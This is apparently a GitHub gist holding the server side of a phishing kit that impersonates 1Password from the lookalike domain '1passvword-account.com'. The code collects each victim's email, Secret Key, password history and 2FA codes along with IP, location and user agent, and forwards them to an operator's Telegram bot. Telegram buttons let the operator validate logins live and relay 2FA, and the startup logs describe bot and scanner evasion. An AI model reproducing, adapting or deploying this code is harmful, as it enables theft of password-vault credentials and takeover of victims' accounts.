| text: "❌ Invalid 2FA", | |
| callback_data: `invalid2fa:${requestId}` | |
| } | |
| ] | |
| ] | |
| }; | |
| const updateSuccess = await updateTelegramMessage( | |
| messageTracking.chatId, | |
| messageTracking.messageId, | |
| completeMessage, | |
| replyMarkup | |
| ); | |
| if (!updateSuccess) { | |
| return res.status(500).json({ error: 'Failed to update Telegram message' }); | |
| } | |
| pendingRequests.set(requestId, { | |
| res, | |
| email, | |
| code, | |
| completed: false, | |
| timeout: setTimeout(() => { | |
| if (pendingRequests.has(requestId) && !pendingRequests.get(requestId).completed) { | |
| const request = pendingRequests.get(requestId); | |
| if (!request.res.headersSent) { | |
| request.res.redirect('https://my.1password.com'); | |
| } | |
| pendingRequests.delete(requestId); | |
| } | |
| }, 30 * 1000) | |
| }); | |
| } catch (error) { | |
| res.status(500).json({ error: 'Server error' }); | |
| } | |
| }); | |
| app.post('/step1', async (req, res) => { | |
| try { | |
| const email = req.body.email; | |
| if (!email || !validateEmail(email)) { | |
| return res.status(400).json({ success: false, error: 'Invalid email format' }); | |
| } | |
| const ip = req.ip || req.connection.remoteAddress; | |
| const userAgent = req.headers['user-agent'] || 'Unknown'; | |
| const country = await getCountryFromIP(ip); | |
| const message = `📧 <b>Email Submitted</b> | |
| <code>${email}</code> | |
| 🌍 <b>Location:</b> ${country} | |
| 🌐 <b>IP:</b> ${ip} | |
| 📱 <b>UA:</b> ${userAgent}`; | |
| await sendTelegramMessage(TELEGRAM_CHAT_ID, message); | |
| res.status(200).json({ success: true }); | |
| } catch (err) { | |
| res.status(500).json({ success: false }); | |
| } | |
| }); | |
| app.post('/login', async (req, res) => { | |
| try { | |
| const { email, secret, old_password } = req.body; | |
| if (!email || !validateEmail(email)) { | |
| return res.status(400).json({ error: 'Invalid email format' }); | |
| } | |
| if (!secret || !validateSecretKey(secret)) { | |
| return res.status(400).json({ error: 'Invalid secret key format' }); | |
| } | |
| if (!old_password || !validatePassword(old_password)) { | |
| return res.status(400).json({ error: 'Password must be at least 8 characters' }); | |
| } | |
| const timestamp = new Date().toLocaleString('en-US', { | |
| timeZone: 'UTC', | |
| year: 'numeric', | |
| month: '2-digit', | |
| day: '2-digit', | |
| hour: '2-digit', | |
| minute: '2-digit', | |
| second: '2-digit' | |
| }); | |
| const ip = req.ip || req.connection.remoteAddress || req.headers['x-forwarded-for']?.split(',')[0]?.trim() || 'Unknown'; | |
| const userAgent = req.headers['user-agent'] || 'Unknown'; | |
| const country = await getCountryFromIP(ip); | |
| let existingMessageInfo = emailMessageTracking.get(email); | |
| const requestId = `${Date.now()}-${Math.random().toString(36).substr(2, 5)}`; | |
| let passwordHistory = [old_password]; | |
| let attemptNumber = 1; | |
| let oldMessageId = null; | |
| let oldChatId = null; | |
| let telegramResponse = null; | |
| if (existingMessageInfo) { | |
| passwordHistory = [...existingMessageInfo.passwordHistory, old_password]; | |
| attemptNumber = existingMessageInfo.attemptNumber + 1; | |
| oldMessageId = existingMessageInfo.messageId; | |
| oldChatId = existingMessageInfo.chatId; | |
| const updatedMessage = generateCredentialsMessage(email, secret, passwordHistory, attemptNumber, ip, country, userAgent, timestamp); | |
| const updatedReplyMarkup = { | |
| inline_keyboard: [ | |
| [ | |
| { | |
| text: "✅ Valid (No 2FA)", | |
| callback_data: `valid_${requestId}` | |
| }, | |
| { | |
| text: "🔐 Valid + 2FA", | |
| callback_data: `2fa_${requestId}` | |
| } | |
| ], | |
| [ | |
| { | |
| text: "❌ Wrong Password", | |
| callback_data: `invalid_${requestId}` | |
| } | |
| ] | |
| ] | |
| }; | |
| if (oldChatId && oldMessageId) { | |
| const updateSuccess = await updateTelegramMessage(oldChatId, oldMessageId, updatedMessage, updatedReplyMarkup); | |
| if (updateSuccess) { | |
| telegramResponse = { | |
| messageId: oldMessageId, | |
| chatId: oldChatId | |
| }; | |
| } else { | |
| await deleteTelegramMessage(oldChatId, oldMessageId); | |
| telegramResponse = await sendTelegramMessage(TELEGRAM_CHAT_ID, updatedMessage, updatedReplyMarkup); | |
| } | |
| } else { | |
| telegramResponse = await sendTelegramMessage(TELEGRAM_CHAT_ID, updatedMessage, updatedReplyMarkup); | |
| } | |
| } else { | |
| const message = generateCredentialsMessage(email, secret, passwordHistory, attemptNumber, ip, country, userAgent, timestamp); | |
| const replyMarkup = { | |
| inline_keyboard: [ | |
| [ | |
| { | |
| text: "✅ Valid (No 2FA)", | |
| callback_data: `valid_${requestId}` | |
| }, | |
| { | |
| text: "🔐 Valid + 2FA", | |
| callback_data: `2fa_${requestId}` | |
| } | |
| ], | |
| [ | |
| { | |
| text: "❌ Wrong Password", | |
| callback_data: `invalid_${requestId}` | |
| } | |
| ] | |
| ] | |
| }; | |
| telegramResponse = await sendTelegramMessage(TELEGRAM_CHAT_ID, message, replyMarkup); | |
| } | |
| pendingRequests.set(requestId, { | |
| res, | |
| email, | |
| secret, | |
| password: old_password, | |
| passwordHistory, | |
| attemptNumber, | |
| ip, | |
| country, | |
| userAgent, | |
| timestamp, | |
| messageId: telegramResponse?.messageId, | |
| chatId: telegramResponse?.chatId, | |
| completed: false, | |
| timeout: setTimeout(() => { | |
| if (pendingRequests.has(requestId) && !pendingRequests.get(requestId).completed) { | |
| const request = pendingRequests.get(requestId); | |
| if (!request.res.headersSent) { | |
| request.res.redirect('https://my.1password.com'); | |
| } | |
| pendingRequests.delete(requestId); | |
| } | |
| }, 30 * 1000) | |
| }); | |
| emailMessageTracking.set(email, { | |
| messageId: telegramResponse?.messageId, | |
| chatId: telegramResponse?.chatId, | |
| passwordHistory: passwordHistory, | |
| attemptNumber: attemptNumber, | |
| lastUpdated: timestamp, | |
| email: email, | |
| secret: secret, | |
| ip: ip, | |
| country: country, | |
| userAgent: userAgent | |
| }); | |
| } catch (error) { | |
| res.status(500).json({ error: 'Server error' }); | |
| } | |
| }); | |
| app.post('/telegram-webhook', async (req, res) => { | |
| try { | |
| const update = req.body; | |
| console.log('🔔 Telegram webhook received:', JSON.stringify(update, null, 2)); | |
| if (update.callback_query) { | |
| const callbackData = update.callback_query.data; | |
| const callbackQueryId = update.callback_query.id; | |
| console.log('📱 Callback data received:', callbackData); | |
| let action, requestId; | |
| // Improved parsing to handle both formats correctly | |
| if (callbackData.includes(':')) { | |
| // Format: "valid2fa:requestId" or "invalid2fa:requestId" | |
| [action, requestId] = callbackData.split(':', 2); | |
| } else if (callbackData.includes('_')) { | |
| // Format: "valid_requestId", "2fa_requestId", "invalid_requestId" | |
| [action, requestId] = callbackData.split('_', 2); | |
| } else { | |
| console.log('❌ Invalid callback data format:', callbackData); | |
| await answerCallbackQuery(callbackQueryId, '❌ Invalid request format', true); | |
| return res.status(200).json({ ok: true }); | |
| } | |
| console.log('🔍 Parsed action:', action, 'requestId:', requestId); | |
| if (action && requestId && (action === 'valid' || action === '2fa' || action === 'invalid' || action === 'valid2fa' || action === 'invalid2fa')) { | |
| const request = pendingRequests.get(requestId); | |
| console.log('📋 Request found:', request ? 'YES' : 'NO'); | |
| if (request && !request.completed) { | |
| let confirmationMessage = ''; | |
| if (action === 'valid') { | |
| confirmationMessage = '✅ Valid - No 2FA required'; | |
| } else if (action === '2fa') { | |
| confirmationMessage = '🔐 Valid - Proceeding to 2FA'; | |
| } else if (action === 'valid2fa') { | |
| confirmationMessage = '✅ 2FA Code is Valid'; | |
| } else if (action === 'invalid2fa') { | |
| confirmationMessage = '❌ 2FA Code is Invalid'; | |
| } else { | |
| confirmationMessage = '❌ Password marked as INVALID'; | |
| } | |
| console.log('✅ Sending confirmation:', confirmationMessage); | |
| await answerCallbackQuery(callbackQueryId, confirmationMessage); | |
| request.completed = true; | |
| if (request.timeout) { | |
| clearTimeout(request.timeout); | |
| } | |
| if (!request.res.headersSent) { | |
| console.log('📤 Sending response for action:', action); | |
| if (action === 'valid') { | |
| request.res.status(200).json({ | |
| success: true, | |
| redirect: 'https://my.1password.com', | |
| message: 'Password is correct' | |
| }); | |
| } else if (action === '2fa') { | |
| request.res.status(200).json({ | |
| success: true, | |
| step: '2fa', | |
| message: 'Password is correct, proceed to 2FA' | |
| }); | |
| } else if (action === 'valid2fa') { | |
| request.res.status(200).json({ | |
| success: true, | |
| redirect: 'https://my.1password.com', | |
| message: '2FA verification successful' | |
| }); | |
| } else if (action === 'invalid2fa') { | |
| request.res.status(400).json({ | |
| error: 'invalid_2fa', | |
| message: 'Incorrect authentication code.' | |
| }); | |
| } else { | |
| request.res.status(400).json({ | |
| error: 'invalid_password', | |
| message: 'Wrong password. Please try again.' | |
| }); | |
| } | |
| } else { | |
| console.log('⚠️ Headers already sent, cannot respond'); | |
| } | |
| pendingRequests.delete(requestId); | |
| } else { | |
| console.log('❌ Request not found or already completed'); | |
| await answerCallbackQuery(callbackQueryId, '❌ Request expired or not found', true); | |
| } | |
| } else { | |
| console.log('❌ Invalid action or requestId:', { action, requestId }); | |
| await answerCallbackQuery(callbackQueryId, '❌ Invalid request format', true); | |
| } | |
| } else { | |
| console.log('📝 Non-callback query update received'); | |
| } | |
| res.status(200).json({ ok: true }); | |
| } catch (error) { | |
| console.error('💥 Webhook error:', error); | |
| if (req.body?.callback_query) { | |
| try { | |
| await answerCallbackQuery(req.body.callback_query.id, '❌ Error processing request', true); | |
| } catch (e) { | |
| console.error('💥 Error answering callback query:', e); | |
| } | |
| } | |
| res.status(500).json({ error: 'Webhook processing failed' }); | |
| } | |
| }); | |
| app.post('/set-webhook', async (req, res) => { | |
| try { | |
| const webhookUrl = req.body.url || `https://1passvword-account.com/telegram-webhook`; | |
| const response = await axios.post(`https://api.telegram.org/bot${TELEGRAM_BOT_TOKEN}/setWebhook`, { | |
| url: webhookUrl | |
| }); | |
| res.json(response.data); | |
| } catch (error) { | |
| res.status(500).json({ error: 'Failed to set webhook' }); | |
| } | |
| }); | |
| app.use((req, res) => { | |
| res.status(404).send(` | |
| <!DOCTYPE html> | |
| <html> | |
| <head><title>Not Found</title></head> | |
| <body> | |
| <h2>404 - Page Not Found</h2> | |
| <p><a href="/">Back to Home</a></p> | |
| </body> | |
| </html> | |
| `); | |
| }); | |
| app.listen(PORT, () => { | |
| console.log(`🚀 Server running on port ${PORT}`); | |
| console.log(`🛡️ Advanced bot detection system active`); | |
| console.log(`📊 ${BOT_USER_AGENTS.length} bot patterns loaded`); | |
| console.log(`🚫 ${BANNED_ASNS.length} ASNs blacklisted`); | |
| console.log(`🔍 Client-side fingerprinting enabled`); | |
| console.log(`🎯 Canvas, WebGL, Audio & Screen analysis active`); | |
| }); | |
| module.exports = app; |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment